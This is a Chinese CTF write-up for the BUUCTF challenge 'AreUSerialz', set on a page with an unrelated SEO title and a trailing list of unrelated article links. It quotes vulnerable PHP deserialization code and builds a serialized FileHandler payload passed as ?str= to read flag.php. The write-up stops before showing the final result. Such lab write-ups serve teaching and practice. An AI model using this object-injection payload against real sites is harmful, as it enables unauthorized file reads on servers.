当前位置: 首页 > news >正文

免费织梦网站源码下载关键词整站排名优化

免费织梦网站源码下载,关键词整站排名优化,百度站长工具网站,代理公司注册变更导言&#xff1a; 本文主要讲述在CTF竞赛网鼎杯中&#xff0c;web类题目AreUSerialz。 靶场链接&#xff1a;BUUCTF在线评测 一&#xff0c;分析代码。 看到了一大段php代码。 <?php// 引入flag.php文件 include("flag.php");// 高亮显示当前文件 highlight…

  导言:

本文主要讲述在CTF竞赛网鼎杯中,web类题目AreUSerialz。

靶场链接:BUUCTF在线评测

一,分析代码。

看到了一大段php代码。

<?php// 引入flag.php文件
include("flag.php");// 高亮显示当前文件
highlight_file(__FILE__);// 定义FileHandler类
class FileHandler {// 定义属性protected $op;protected $filename;protected $content;// 构造函数function __construct() {// 初始化属性$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// 调用process方法$this->process();}// 处理方法public function process() {// 根据op属性的值,调用不同的方法if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}// 写入文件方法private function write() {// 判断filename和content属性是否存在if(isset($this->filename) && isset($this->content)) {// 判断content属性的长度是否超过100if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}// 调用file_put_contents函数将content属性写入filename属性指定的文件$res = file_put_contents($this->filename, $this->content);// 判断写入是否成功if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}// 读取文件方法private function read() {$res = "";// 判断filename属性是否存在if(isset($this->filename)) {// 调用file_get_contents函数读取filename属性指定的文件内容$res = file_get_contents($this->filename);}return $res;}// 输出方法private function output($s) {echo "[Result]: <br>";echo $s;}// 析构函数function __destruct() {// 如果op属性的值为2,则将其改为1。if($this->op === "2")$this->op = "1";// 将content属性置空$this->content = "";// 调用process方法$this->process();}}// 定义is_valid函数,判断字符串是否合法
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}// 判断是否存在GET参数str
if(isset($_GET{'str'})) {// 获取GET参数str的值$str = (string)$_GET['str'];// 判断str是否合法if(is_valid($str)) {// 反序列化str$obj = unserialize($str);}}

可以知道:

1,这是一个反序列化题目。

2,使用get传参,传参名为:str。

3,flag在flag.php内。

4,代码中使用了is_valid函数来验证输入字符串的合法性,即传入的str的每个字母的ascii值在32和125之间。

5,根据其中的:

得知传参格式。

二,构造payload。

根据代码内的:

protected $op;protected $filename;protected $content;

可以知道,payload为:

<?phpclass FileHandler  {public  $op = 2;   //根据题意进行的传参public  $filename = "flag.php";public  $content = "2";     }$q = new FileHandler();     //对其进行反序列化操作        
echo(serialize($q));?>

输出结果为:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

使用hackbar进行传参后:

并无回显。

查看页面源码发现:

http://www.mnyf.cn/news/41578.html

相关文章:

  • 网站建设sz886邵阳做网站的公司
  • 百度竞价入口优化推广网站推荐
  • 机顶盒做网站windows优化大师是自带的吗
  • 建设证件查询官方网站网站建设网络营销
  • 门户网站标题居中加大网站点击量查询
  • 常州网站建设seo行业岗位有哪些
  • 各大网站rss订阅源地址某一网站seo策划方案
  • 网站建设做网站好做吗张家界网站seo
  • 自己怎么做交易网站外贸网站seo教程
  • 如何让网站显示404贵州seo学校
  • 墨刀做网站发布新闻
  • 成都网页设计培训学校排名咖啡seo是什么意思
  • 为什么做网站费用贵软文推广营销
  • 如何做网站运营互联网广告推广是做什么的
  • wordpress免费教程视频教程厦门百度关键词seo收费
  • 做网站要租服务器长沙网站制作策划
  • 怎样制作免费的网站百度网站关键词排名查询
  • 用外链css做网站百度推广助手客户端
  • 开原网站建设河北网络科技有限公司
  • php网站上做微信支付功能网站建设价格
  • 蚌埠做网站有哪些公司郑州互联网公司排名
  • 免费网站建设推荐百度邮箱注册入口
  • 做外贸网站推广sem和seo是什么职业岗位
  • html5做网站的好处seo搜索引擎优化薪资水平
  • 无锡网站建设解决方案信息推广
  • 基金网站制作品牌营销策略分析
  • 天河区门户网站教育局板块广州企业网站建设
  • 兰州做公司网站现在搜什么关键词能搜到网站
  • 怎么做网站代理国外免费网站域名服务器查询
  • wordpress appdev teamseo优化外链平台